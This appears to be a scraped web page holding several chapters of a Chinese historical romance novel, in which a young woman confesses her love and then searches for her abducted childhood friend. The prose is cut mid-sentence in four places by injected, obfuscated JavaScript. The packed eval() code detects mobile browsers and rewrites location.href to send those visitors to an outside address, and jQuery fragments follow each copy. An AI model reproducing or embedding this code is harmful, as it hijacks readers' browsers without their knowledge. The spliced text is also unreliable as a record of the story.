“不能。”叔父回答得干脆利落,“你从小到大就像个猢狲似的,上蹿下跳,除了闯祸还是闯祸,我就没见过哪家的丫头会像你一样……” 袁瑾听着叔父的数落,心里想着不是说修行之人都讲究清静无为,越仙风道骨吗?怎么到叔父这就变成了越修越……能言善道了。 “叔父!”她打断了叔父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101611|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的长篇大论,“我没闯祸,我来这是想问当年颜青阳说了什么才让您放弃说亲的?” 叔父止住了声,上下打量着她,看得她一头雾水。 “叔父你为什么这么看我?难道我脸上有东西?还是颜青阳说了我的坏话?” 叔父收回了打量的目光,给自己到了杯茶:“你先告诉我,你这么多年不闻不问,现在为什么又想知道了?” 袁瑾抿了抿嘴,有些难为情。 叔父一目了然气哼哼地说道:“我就说我从没看走眼过,兄长还不信。” “哎呀,叔父——我那个时候年纪还小,怎么可能像您一样慧眼如炬?”袁瑾撒娇,“您就告诉我颜青阳当初说什么了呗。” 叔父扫了她一眼:“别冲我撒娇,我又不是兄长和兄嫂。” 袁瑾:“哎呀叔父,求求你了——” 叔父被她磨得没有办法,只好当年的事情讲给她听。 袁瑾仿佛跨过了时间的长河,见到还未及冠的颜熙。那日的霞光落在他的身上,虚化了他的轮廓,可他的话却那样的清晰。 “幼瑛不喜欢我,强行绑在一起,她不会快乐,我不希望她的余生都不快乐。” 那一刻的颜熙敛去了平时的玩世不恭,张扬肆意渐渐从少年身体剥离,只留下满腔柔情与珍惜。 “你这丫头又是实在粗心,我这个老头子都看得出来青阳在意你,可你偏偏视若无睹。”叔父喝了口茶水。 可是朋友之间也可以互相在意啊。袁瑾想反驳但又怕被叔父呵斥,于是选择把话吞回去。 “不过——我觉得青阳回绝亲事还有别的原因。”叔父放下茶杯。 “是什么?”袁瑾想也不想地问。 叔父扫了她一眼:“我不是正说着吗?看你那猴急的模样。” “……”袁瑾讨好,“我错了,我不该年少无知辜负了叔父的好意,叔父就原谅我这一次吧。” 叔父斜睨着她:“我是那么小气的人吗?” “自然不是,您是天底下最宽容的人了。”袁瑾给叔父倒茶,“您说颜青阳心里有事,是什么,您知道吗?” 叔父看了她一眼,不再计较,说起了自己的猜测。 “或许是比你们多活几年,看得也仔细。当时跟青阳说起亲事的时候,我觉得他是想一口答应的,只是想到什么才改口。我想,那一定是一件至关重要得事情。” “作为长辈,我不得不提醒你,若是想要跟青阳顺顺利利地在一起,你最好弄清楚这件事情。否则即便现在在一起,将来也会因为这件事情分崩离析。” 袁瑾若有所思,光影在眉宇间流转,衬得她有几分柔软。自打从叔父那里回来,她就一直待在屋里,反反复复地回忆与颜青阳相处的点点滴滴,可没有发现半点问题。 “叔父岁数大了想多了吧。再说了,就算有,等在一起了,一起解决就是了。分崩离析哪有那么严重?你说是不是?”葱白的食指敲了转鹭灯,袁瑾打定主意,“我啊,还是想想怎么把人抓回袁家吧。” 25. 第 25 章 你喜不喜欢我啊? 袁瑾望着颜熙的侧脸发呆,在烛火的摇曳中,那张俊俏的脸越发动人。 颜熙轻轻一推,手中的莲花灯便慢慢悠悠地融入千万只河灯中。 “咱们的小公主真实受尽宠爱。刚一出生就有了封号,满月了天子更是开放夜禁,让群臣百姓为其放灯祈福,普天之下能有几人能得到这份殊荣。哎,我说你一会儿——” 颜熙涛涛不绝的声音戛然而止,袁瑾心里奇怪,抬眸看向颜熙,只见对方的脸上出现了熟悉的、贱嗖嗖的表情:“娘子终于发现颜某容色出众,看呆了?”说着还冲她“暗送秋波”。 “……”袁瑾不是没听过颜熙的自吹自擂,可还没有哪次能让她像今天这样心跳加速,耳垂发烫。情急之下,她锤了颜熙一下,嗔怒:“你还有没有个正形?” “我这不是看你兴致缺缺逗你一下吗?”颜熙捂着被打的肩膀,抽气,“哪承想你下这么重的手。好疼的。” 虽然知道颜熙在夸大其词,可袁瑾就是忍不住地担心,生怕自己下手没轻重伤了颜熙,忙道:“哪疼,我看看?” 颜熙没想到她会靠近,一时没来得及后退,两人之间的距离顿时缩成一拳宽,近到能看到彼此脸上细小的绒毛。 人潮涌动的声音突然消失不见,四下一片安静,只剩下无声晃动的光影和如擂鼓的心跳声。 咚,咚咚。 袁瑾感觉自己的心好像就要撞破胸膛,飞到颜熙的眼前。这些天发生的事情如走马观花,在脑海中快速飞转,让她没办法思考接下来该说什么,该做什么。 “咳,”颜熙半握着拳头,身体向后仰去,与她拉开一点距离,“其实也没有那么疼。” 袁瑾的脑子乱乱的,胡乱地附和颜熙的话:“哦,你没事就好。” 又一次安静下,气氛变得古怪而尴尬。 颜熙咳了咳,找话题:“不知道通古和萧娘子去哪了,不是说好了一起玩的吗?” “啊,是啊。他们两个去哪了?”袁瑾也跟着四处张望。终于,在猜灯谜的地方瞧见了两人,即便模模糊糊看得不大真切,但她也能感受得到两人之间的浓情蜜意。 袁瑾:“……”说着帮我结果自己却跑去跟情郎猜灯谜,还是不是亲姐了? “行呀,通古还挺会讨萧娘子欢心。”颜熙顺着她的目光找到了不见踪影的两人,收回视线看向她,提议,“他们正值兴头,去了怕是打扰。要不咱们两个单独逛逛?我听人说不远处有人表演幻术。” “行啊。上次你说要请我去看幻术的,结果没看成,正好补回来。”袁瑾恢复原来的样子,“但我肚子饿了,得去买点吃的。” 颜熙:“这好说,我刚才闻到了糖饼的味道,想来饼摊也离河边不远,去买吧。” 袁瑾嗅了嗅却只闻到燃烧的蜡烛味,一脸怀疑地看线颜熙:“我怎么没闻到,你诓我呢?” “那要不要打个赌?”颜熙扇子一展,“要是饼摊位置不远算我赢,你答应我一个要求,反之就是你赢,我答应你一个要求。” 袁瑾见颜熙两眼弯弯,一副胸有成竹的狐狸样,果断拒绝:“不,谁跟你这个狗鼻子打赌。我还没傻到把自己卖了。” 颜熙捂着胸口:“怎么能说我是狗鼻子呢?袁小幺。” “呵,是谁从小到大一到用膳的时候就跑到我这来蹭吃蹭喝?就是改了时间也避不开某人,不是狗鼻子是什么?”袁瑾斜睨了颜熙一眼。 提起童年往事,颜熙微微抬首用扇子挡住半张脸,不知道是尴尬还是不好意思。 袁瑾扬起下巴:“给你个将功补过的机会。带路,饿到本娘子要你好看!” “谢袁娘子,”颜熙顺坡下驴,收起扇子,做足了马前卒的样子,“请娘子跟小的来。” 袁瑾笑骂:“出息。” 饼摊老板的手艺极好,卖的糖饼更是一绝,许多人慕名而来,因此两人要等上一会儿。 袁瑾懒着排队,就让颜熙去了,自己站在一边用脚拨弄地上的石子。都说颜青阳喜欢我,可我为什么感觉不到呢?难道是我的眼睛坏了? 还有萧明月,说来帮我旁敲侧击,结果跑了,一点也不靠谱。 想得太入神一时没注意到身后的动静,后腰被两个疯闹的小娃娃猛地一撞,整个人立刻向前踉跄,要不是人及时扶住她,她今晚可就要丢人了。 “我的袁大娘子您这是饿晕了吗?”颜熙要笑不笑的声音在头顶响起。 袁瑾瞪了颜熙一眼。 小娃娃的父母赶过来,一人拎着一个小娃娃:“快道歉!” 颜熙笑道:“没事,小孩子,爱闹是天性。这位娘子为人大度,不会跟小孩子计较的。” 【你怎么知道我为人大度?】袁瑾看向颜熙。 【那我说你斤斤计较,要这两个小娃娃留下做苦力?】颜熙好整以暇地看着她。 【你——】 【我如何?】 两人四目相对,谁也不肯退让。但不知道为什么两人越看对方越想笑,最后实在忍不住双双别过头不去看对方的脸,可抖动的肩膀暴露了两人都在笑的事实。 “开心了?”颜熙将糖饼递给袁瑾,“新出炉的糖饼,当心烫到。” 袁瑾接过糖饼,刚要咬一口,却像是意识到什么一样,转头看向颜熙:“刚才那一家四口呢?” “走了啊。都到道完了歉了,不走作甚?”颜熙打量着她,“不会吧,袁小幺你真要让那两个小娃娃做苦力啊,太狠了吧。” “我什么时候说我要让那两个小娃娃做苦力了?颜青阳你不许胡说!”袁瑾愤愤地咬住糖饼,却被糖水烫了舌头,“嘶,好烫!” 颜熙哈哈大笑:“都说了让你小心点,烫着了吧。” 袁瑾气恼,脚一跺,转身就走。 颜熙见事不妙,连忙追了上去:“哎呀,生气了?” “哼。”袁瑾转过头不理颜熙。 颜熙哄道:“别气了嘛,前面就是五芳斋,我带你去买酥山。” 袁瑾巴拉手指头,报菜名: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109971|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我还要吃贵妃红、软酪、紫苏饮子……” 颜熙一一应下:“行行行,只要你不生气,什么都好说。” “这还差不多。”袁熙嘀咕。 好不容易等到一次不禁夜,城中的男女老少都趁着这个时候出来游玩。街道变得拥挤起来,摩肩擦踵,稍有不留意就会被卷入人潮走散。 可袁瑾却不怕,因为颜熙一直牵着她的手腕。她悄悄地打量颜熙,心说干什么都用一只手不觉得不习惯吗?还有,我又不是小孩子,难道一眨眼我就能没了?她笑着摇了摇头。 颜熙的手很好看,骨节分明,白皙的皮肤下是微微凸起的青色血管,指腹的老茧磨得她的手腕痒痒的。 她想起了今年夏天的船宴,颜熙也是握着自己的手腕远离那些惹人心烦的议论。堆叠在一起的记忆慢慢展开,藏匿其中的细节渐渐铺在自己的眼前。 认识颜熙后,无论是被人排挤,还是被人嘲笑,她身边总有一个颜熙“风雨与共”。 或许是因为颜青阳陪着我太久,让我错以为颜青阳永远不会离开我,所以从来不会去想他离开了该怎么办?若非一场阴差阳错,岂不是早就错过了? 袁瑾突然站定,引得颜熙侧目:“怎么了? 她看着颜熙的眼睛,那双眼睛有困惑也有说不尽的温柔缱绻。一时间,她心中有了决断。 我不该再瞎猜浪费时间了。 我喜欢的,就应该一直握在自己的手中! “袁小幺,你不会憋着什么坏水吧?”颜熙挑眉询问。 袁瑾开门见山:“颜青阳我喜欢你,你喜欢我吗?” “袁小幺,这个玩笑不好笑。”颜熙严肃起来。 “我没有!”袁瑾气恼,“你当我是什么人,会随便拿这种事情诓人?” 颜熙不语。 袁瑾气结,晃动手腕:“说话啊,你哑巴了?” 两人的争吵引来了路人的围观。 颜熙猛地发现他还握着她的手腕,火急火燎地松开。她自不会任由颜熙逃跑,在颜熙松开的那一刻,反手握住,甚至十指相扣。 颜熙双眼瞪得浑圆:“你疯了?男女授受不亲[1],大庭广众之下跟我拉拉扯扯,你还要不要名声了?” 袁瑾无动于衷,几次对话下来,她发现颜熙处于一种惊恐的状态。她不明白自己只是表达心意,为什么颜青阳会感到害怕? “作为长辈,我不得不提醒你,若是想要跟青阳顺顺利利地在一起,你最好弄清楚这件事情。否则即便现在在一起,将来也会因为这件事情分崩离析。” 叔父的话浮现在耳畔,袁瑾这次相信叔父是对的。 可,究竟是什么样的事情能绊住一向自由洒脱的颜青阳? 她想不出来,更担心一切会如叔父所言,颜熙的心事会成为她最大的绊脚石。惶恐不安渐渐占据上风。 既然如此,那就破釜沉舟吧! 袁瑾盯着颜熙的眼睛:“名不名声之后再说,你先告诉我,你当年为什么拒婚?” 26. 第 26 章 “所以你就因为这个把袁娘子推给我和明月自己跑了?”崔闻努力压着不断上扬的嘴角,“我敢肯定袁娘子生气了。” “还用你说,昨晚听到袁小幺中气十足的怒吼我就知道她生气了。”颜熙按着太阳穴,看起来很头疼。 崔闻没忍住笑出了声,但很快又收了回去。 颜熙斜眼看了一眼幸灾乐祸的友人,不悦地敲着石桌,要不是不知道怎么面对袁小幺,他才不会跑到崔府受崔闻的嘲笑。 “想笑就笑,别憋坏了。” 崔闻也不压着笑意,说道:“只许你威胁我,还不准我乐一下?” 颜熙不理会。 “山有木兮木有枝,你守她之心终为她知,此非良缘天定?”崔闻将茶盏推给颜熙,打趣,“青阳你可别跟我说你不喜欢袁娘子。” 颜熙垂眸看向茶盏,我怎么可能不喜欢她,我只是,只是……唉! 他喝了一口茶水,甘苦在舌尖打转,就如他此刻的心情,时而高兴时而惶恐,矛盾的情绪反复鞭笞心房,让他无法面对袁瑾。 崔闻感受到了颜熙情绪的低落,直觉不妙,敛去了笑容,言语中流露出关心:“青阳另有隐情?” “算是吧。”颜熙长舒一口气,承认,“我心绪难宁。” 崔闻蹙眉:“青阳若不嫌弃,可与我说说,即便不能解决,说出来心里也能好受些。 “士族联姻互为取利,大多门当户对,可袁颜两氏相去甚远。”颜熙又喝了一杯茶,缓缓开口。 “你是担心袁氏因为门第不匹而拒绝婚事?”说完,崔闻自己就否定了,“不对,袁君既能许袁大郎和陈将军的婚事,便说明袁氏并不看重门第。”他看向颜熙,语气笃定:“你心不宁非袁氏之故,而在颜氏。” “答对了一半。”颜熙笑了一下,继续说,“其实是我自己的问题,是我自己不想成为幼瑛的拖累。” 崔闻宽慰:“青阳之才有目共睹,你妄自菲薄了。” “若为白衣我何至于此?”颜熙眺望远方,满目金黄,落叶纷飞,似有所感:“嘉树下成蹊,东园桃与李。秋风吹飞藿,零落从此始[2]……家族姻亲是助力也是累赘。” 崔闻脸色微变。 四下寂寥,唯有萧萧风声。 “那你也该跟袁娘子说。”颜熙转头看向崔闻,只见对方放下茶盏,神色严肃,“你是知道袁娘子的,一身傲骨。凡涉及于她,她必须知情,别人不可替她做决定。即便初衷是好,她也决不接受。” 颜熙一猜就知道崔闻是想起了几个月前的事情,想来这位谦谦君子也是第一次被人呵斥。他笑了笑,不愧是袁小幺。 崔闻见颜熙唇角上扬,无奈:“颜青阳,袁娘子说得不错,你这人真没良心。我好心帮你,你却取笑我。” 他叹了口气继续说道:“袁娘子有句话说得不错,就算决定跑,在跑之前也要把心里话说出来,不然闷在心中多难受?你也该学一学袁娘子的坦诚,结果未必有你想得那么糟糕。” 颜熙放下茶杯:“你的好意我心领了,但我还需要考虑。” 崔闻知道颜熙自有主张也不再多言,只道:“纸包不住火,你尽早做决断。” 颜熙点头,心里却明白,自己这种人要迈出那一步会有多困难。 两人又聊了一会儿,快结束的时候,崔闻说:“对了,青阳能请你帮个忙吗?” “怎么了?” “你能不能帮我劝姑姑休息休息?” 颜熙狐疑。 崔闻有些不好意思:“自打去年入秋姑姑的身体就一直不好,好不容易回家休养却因我的事情忙前忙后,一下子病了。这几天刚好,就主动筹办赏菊宴,一连好几天都没休息,我有些担心她身体吃不消。” “没人劝劝她吗?”颜熙问道。 崔闻苦笑:“姑姑对上次欺骗了祖父心中有愧,想靠赏菊宴讨祖父欢心,事实亲历亲为,家里人都劝不了她。” 颜熙挑眉:“那你确定我就行?” 崔闻笑:“姑姑挺喜欢你的,我想她应该会听。” “行吧,那我试试。” “那就多谢青阳了。” 颜熙摆了摆手,便抬脚去凉亭那边找崔夫人了。但他运气不太好,到的时候崔夫人出去了。他想着自己也没什么事,于是就在院里等崔夫人回来。 秋意渐浓却不影响阳光,金灿灿的阳光落在身上暖暖的,深吸一口气,干冷的空气混合着花香一起进入肺腑,将烦恼短暂地赶出脑海。他闭上眼睛享受秋的宁静。 咣当! 身后响起重物落地的声音,转身看去,原来是家仆将一摞木板放在院子中央。瞧其色泽纹理,应当是上好的松木。只是—— “怎么选了松木?用樟木或者杉木不是更好吗?”颜熙走上前打听。 家仆一看是颜熙忙堆起笑脸解释:“樟木杉木固然好,但店家都没有能马上用的,所以就选了松木。” “原来如此。”颜熙笑了一下,“你们去忙吧。” 家仆闻言退下了。 等人走后,颜熙蹲在木板前观察,不知是不是他多心,他总觉得怪怪的。城中那么多家木材行怎么会全缺货?就算凑巧都没了,可书院那边为何一点消息也没有? 或许还没来得及? 不,不对。幼瑛是个直脾气,手下人的做事风格也是有话就说,绝不耽误正事。 越想颜熙越觉得奇怪,遂伸出手摸了摸木板,不过片刻接触过木板的皮肤立刻变得红肿瘙痒。他蹙起眉头,环顾四周确定无人后,掏出了火折子,偷偷地用火烧了木板的一角。 看着滋滋冒油的木板,颜熙瞪大眼睛。 木板有问题! 然而下一刻,后脑传来一阵剧痛,令他眼前一黑,重重地摔在地上。在彻底失去意识前,他忽地想到了袁瑾,我还能再见到你吗? 正在跟萧婵抱怨的袁瑾戛然而止,神情怔怔。 “怎么了?”萧婵感到奇怪。 袁瑾搓了搓自己的胳膊,说道:“就是突然有一股寒气从脚底窜上脊背,让人有一种毛骨悚然的感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114864|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “可能是天气转凉了吧。”萧婵将手中的热茶推给袁瑾,“你要多穿些衣服。” “或许吧。”袁瑾对刚才的恶寒心有余悸,回答显得心不在焉。 萧婵以为她还在气颜熙跑了的事情,宽慰道:“不是每个人都能坦诚地说出自己的心事,否则世上就不会有那么多难言之隐了。或许颜郎君还需要些时间做出选择,别太着急。” “希望他别选当缩头乌龟。”袁瑾话锋一转,“但就算他当缩头乌龟,我也会把他从壳里拽出来。总之,他不给准确答案,我是不会放过他的!” 看着斗志昂扬的袁瑾,萧婵笑着说:“不知道为什么,突然想看看你是怎么把颜郎君从龟壳拽出来的。” “表姐!” “怎么了?” 袁瑾看着一脸无辜的萧婵心道,我当初真是瞎了眼了,怎么就认定了她是一个温柔体贴的名门女郎? 送走萧婵后,她想了想还是听从萧婵的意见给颜熙时间思考,而自己趁这段时间把手头的事情做完,省得所有事都叠在一起,让她干什么都不尽兴。 “娘子,郎君给您送礼物了。”婢女拿着一封信和一个包裹走进屋。 “还知道给我送点东西,看来没把我这个妹妹抛之脑后。”袁瑾拆开包裹,里面竟是一把漂亮的短刀。她眼睛一亮,拿起短刀时又是一惊,轻重合适!拔刀出鞘,随意地挽了刀花,十分顺手!拆开信后才知道,这把刀是嫂嫂请陈大将军的故交为她量身打造的。 “还是嫂嫂对我好。”袁瑾喜不胜收,对婢女说,“你稍等我一下,我要给嫂嫂回礼,一会儿和我的回信一起交给健步。” “是。” 袁瑾把前些日子搜罗来的东西搬了出来,仔细打包,而后洋洋洒洒地写了一大堆话来表达自己的激动和感谢。装封时,他停顿了一下,提起笔又补上了几句话才让婢女把信件和包裹带走。 第二天一早,她坐在书桌前,咬着笔对着账本发呆。 也不知道颜青阳想得怎么样了? 要不要去看看? 会不会显得我步步紧逼,没有风度? 可一想到颜熙受惊的模样,她又有些担心。 啧,我真是上辈子欠这个祖宗了。 笔一丢,脚一迈,袁瑾已经在去竹院的路上了。结果找了一圈,她连个脚印都没找到。 看着桌上没拆封的包裹和信件,袁瑾心里浮现出一股荒唐的念头,不会连夜跑回家了吧?颜青阳你真是出息了,三十六计被你用得妙啊!她磨牙恨不得把人抓回来狠狠咬一口。 颜熙的随从从拐角走来。 没走?袁瑾一愣。 “娘子您找郎君?”随从问。 确定颜熙没走后,袁瑾火气稍减,问道:“你们家郎君呢?” 随从回答:“郎君昨日拜访崔郎君了,一夜未归,许是还在崔府。” 话音刚落,崔闻的声音从背后传来:“青阳昨日走了怎么不说一声?” 一刹那,昨日如坠冰窖的感觉卷土重来。 27. 第 27 章 “昨日我并没有见过青阳。”崔夫人困惑。 “可是通古说他明明来找您了。”袁瑾的心惴惴不安。 萧婵安抚:“说不定颜郎君有事先走了。我们先说说自己最后一次是什么时候,在什么地方见到颜郎君的,说不定就找到了。” 袁瑾想说,颜熙不是那种不告而别的人,就算有事要走,他也可能会让人转告崔夫人的。她又安慰自己颜熙心绪不宁,难免有疏漏。 她吐出一口浊气,捏着鼻梁:“自从前天晚上颜熙跑了之后,我就没见到他。之后就是今早他的随从告诉我,他去了崔府一夜未归。” 崔闻顺着袁瑾的话继续说:“青阳昨日来寻我,我们说了一会儿话,之后我拜托他来劝姑姑休息。” “可现在崔夫人并没有见到颜郎君。”萧婵抓住关键,“我去问问那日当值的下人,或许会有线索。” 崔夫人点了点头:“我这就叫人来问话。” 不一会儿人就到齐了。 “颜郎君?小的见过。”一个家仆说道。 袁瑾猛地站到说话的家仆面前,激动道:“你见过他!什么时候,在哪看到的?” 家仆被吓了一跳,求助似的看向崔闻。 萧婵见状握住了袁瑾的手:“幼瑛你先冷静一下,听他把话说完,你这样他会害怕的。” 袁瑾深吸一口气,对家仆说道:“抱歉,我有些着急了。” 家仆受宠若惊:“您,您言重了,小的受不起。” “好了,这些话之后再说吧。”袁瑾问家仆,“你把你昨天看到的都告诉我。” 家仆忙将昨日的事情一一道来:“当日郎君就站在院中央一边赏菊一边等夫人回来,大约是感到无趣便跟小人说了几句话,后来见小人还有活计就让小人去忙了。等小人再回来,郎君就走了。” “你知道他去哪了吗?”袁瑾追问。 家仆摇了摇头:“小人当时还以为郎君是跟夫人一起离开的。” 闻言,袁瑾稍稍回落的心又一次提了起来,而且随着之后的每一句不知道越提越高,就差从喉咙里飞出,手中的绢帕被拧成了麻绳。 一番询问一无所获。 “青阳有没有喜欢去的地方?或许青阳去了那里,一是忘怀,耽误了宵禁的时辰。”崔夫人说道,“因误了宵禁的时辰夜宿在外是常有之事,青阳或也是如此。” 崔闻也说:“青阳一向无拘,前些天还跟我说想去城郊赏月。说不准昨天去了城郊,一时忘了时辰宿在了城外。你现在回去,也许就看到他了。” 万一不是呢?谁敢拍胸脯保证他真的没事?袁瑾想要质问,可又发现自己无法说出口。他们说得都对,只是一夜未归而已,未必就是出事了。可是,她就是忍不住地往最坏的地方向去想。 萧婵留意到了袁瑾的情绪,安抚道:“别着急,我们先回家,然后派人去颜郎君经常去的地方去找找。” 事已至此,袁瑾也只好先跟萧婵回去等着了。 路上,崔闻说道:“我也带人去找找,有消息一定第一时间告诉你。你……” 袁瑾左耳朵听右耳朵冒,根本没用心听。 廊外阳光还是那样好,与秋菊交相辉映,极致的灿烂落入眼中竟让她眼晕。秋菊淡雅的香气,在阳光的蒸腾下变得浓郁刺鼻,搅得她胃里翻江倒海。终于,她坚持不住,推开萧婵扑到柱子上,弯腰干呕。 崔闻一惊:“袁娘子你怎么了?” 萧婵顾不得惊讶,连忙拍着她的后背,帮她顺气:“这是怎么了?病了吗?要不要请大夫?” 袁瑾撑在栏杆上,大口喘息,仿佛这样才能将心头的焦躁赶出体外。眼角泛着泪花,睫毛被根根打湿,眼前的落叶成了一团色块。在一团金黄中,一点小小的深褐色引起了她的注意。 她抹了把脸,擦去模糊视线的泪花。再看,原本深褐色的圆点变成了核舟,她心底一凉。颜熙是不会乱丢别人送的礼物,就算不慎遗落也会很快发现并找回。可核舟上还有露水那就说明已经被遗落一夜了,也就是说颜熙真的出事了! 萧婵见袁瑾脸色大变:“怎么了……” 话还没问完,令人嫌恶的声音在身后响起:“呦,原来你们在这啊。” 崔闻一愣。 袁瑾转身看去,崔言正假惺惺地笑着。她拧着眉头,怎么又出来了?难道之前的惩罚只是装装样子?可是看崔闻惊愕的样子,又好像是真的不知情。 “我不过是来感谢堂嫂,别那么紧张。要不是堂嫂,小弟我还不知道什么时候才能从祠堂里出来。正想怎么感谢却不想听到了噩耗。”说着,崔言满怀恶意的视线在袁瑾身上打个转。 萧婵拧起眉头:“崔郎君请慎言。” 崔言满不在意:“不过随便说说而已,何必紧张?”他扬起眉毛:“这么紧张,难道我说对了?” 崔闻呵斥:“崔言!” 崔言跟崔闻叫板:“五姓七望是何等高贵,堂兄你却自甘下贱跟这些下等人为伍,我看你真是被女人迷昏了头——” 啪。 清脆的巴掌声在廊下响起。 崔言难以置信地看着崔闻:“堂兄你竟然打我?竟然为了外人打我!” “我早就该打你了!”崔闻沉着一张脸,“这些年祖父实在太宠你,让你养成了不知天高地厚的性子,你现在就给我滚回祠堂思过去!” 若是以前听到翩翩公子开口说粗话袁瑾肯定会兴致勃勃地听个全场,但现在她满脑子都是颜熙的安危,崔氏兄弟的争吵只会让她心烦。 于是,她冷冷地看向崔闻:“摆平你们家的这些破事,否则不管我表姐多喜欢你,我也会毁了这桩婚事。”说完,拉着萧婵向外走。 疯狗一词刺激到崔言脆弱的神经,他发疯大叫:“你说谁是疯狗!” 袁瑾头也不回:“谁应是谁。” “你——” “崔言你给我闭嘴!” 身后波涛汹涌,袁瑾置若罔闻。就在她踏出门槛的那一刻,崔言大喊道:“你难道就不想知道颜熙在哪?” 袁瑾脚步一顿,眼底瞬间结成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118945|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一层寒冰,在阳光下幽幽泛光。她转过身,直视崔言:“是你干的。” “是又怎么样?”崔言心里发怵,但仍梗着脖子叫嚣,“这样吧,看在我们两家的交情上,我大人有大量,你给我磕个头,我告诉你。” 话音未落,一道黑影快速划过。咚的一声响起,崔言已经被袁瑾提着衣领重重地摔在栏杆上,他刚想骂人,却被贴在脖子上的短刀吓得说不出话。 萧婵和崔闻想上前拉开两人却在被袁瑾扫了一眼后不约而同地止住了脚步。 此刻的袁瑾与往日的她迥然不同,像图穷之后冲出的匕首,带着刺骨的寒意,令人感到恐惧。 “他在哪?”短刀贴着崔言的脖子,仿佛只要对方敢说一句假话,她就能立刻抹了对方的脖子。 “袁瑾你不能这样,我出身清河崔氏,你,你要是敢动我一根汗毛,我祖父不会放过你的!”崔言试图恐吓袁瑾,可短刀却划破了他细腻的皮肤,死亡的恐惧攻占了他的心房,“袁瑾你不能杀我!杀了我,祖父是不会放过你的!” 袁瑾不为所动,细长的红线浮现在眼前,崔言尖叫起来。 “袁幼瑛你疯了!”回过神的萧婵一把拉起袁瑾,抢过短刀,气恼道,“为一个小人毁了自己值得吗?现在的重中之重是找到颜郎君,不要节外生枝!” 袁瑾闭上眼睛,深吸一口气,压住了心间的邪火,再次睁开眼睛看向瘫软在地崔言:“你最好祈祷自己跟这件事情真的没有半点关系,否则谁都救不了你。” 她甩袖离开,留给众人一个背影。 出了崔府,看着忙前忙后的人们,肚子的那股气又悄无声息地消失了。以前佳节将至的时候,颜熙总会带她去吃喝玩乐,可现在…… 袁瑾紧紧地握住核舟,心道无论你在哪,我一定会找到你的,一定! 秋风横扫而过,卷走了金黄的叶片,万千叶片碰撞摩擦,发出巨大的沙沙声。 漆黑之后仍是一片漆黑,颜熙觉得自己似乎被困在一个被人遗忘的角落,感受不到日月交替,只有与冰冷的黑夜作伴。茅草的腐败味、泥土的腥味、淡淡的血腥味,和莫名的清香混合成一股令人作呕的味道。 醒来之后的颜熙对自己还活着这件事是既庆幸又懊恼。庆幸是因为活着还能见袁小幺,还有机会去说出自己的心意;懊恼是因为自己可能成为要挟袁瑾的人质,明明不想成为拖累,可还是…… 他在心里苦笑,试着活动四肢,但依旧不行动。 看来药力还没退。 外面似乎起了一场大风,因为他听到了疾风过境的呼啸声,外面似乎也种了许多树,因为只有树叶足够多才能发出如浪潮一样响亮的沙沙声。被封住了眼口后,颜熙也只能靠着剩下的感官去“观察”困住自己的地方。 “……他们快……现……” 颜熙挑眉,有人在对话?只是距离太远,周围环境又太嘈杂,他实在听不清。于是他试着补全自己刚才听到的话,他们快,现,他们快发现了! 他一惊,难道绑架我的人认识我? 28. 第 28 章 阳光穿透薄雾,散落在水面,波光粼粼。残荷立在水中,卷曲枯黄的叶片在风中瑟瑟发抖,怎得一个凄惨了得? 袁瑾坐在小船中,静静地望着莲塘。不知不觉中她已经从城内找到了城外,把颜熙能去的地方都找遍了,却一无所获。 刚开始的时候还会想着找到颜熙后要打断他的腿不让他再乱跑,可现在,她只想找到颜青阳,只想看到他完完整整地站在她面前。 一两尾鲤鱼从船底穿过,轻柔尾鳍搅乱了水中的倒影。她看着水面的波纹,心道崔言是个藏不住事情的草包,既然能说出那句话就一定是知道什么。可惜当时地点不好,她没能逼问出什么。也不知道盯梢的人能不能发现些线索…… 嘶,尖锐的刺痛从太阳穴传来,连日的寻找让她无论在身体上还是心理上都感到疲累。袁瑾不得不闭上眼睛,按揉着太阳穴缓解疼痛。 哗啦。 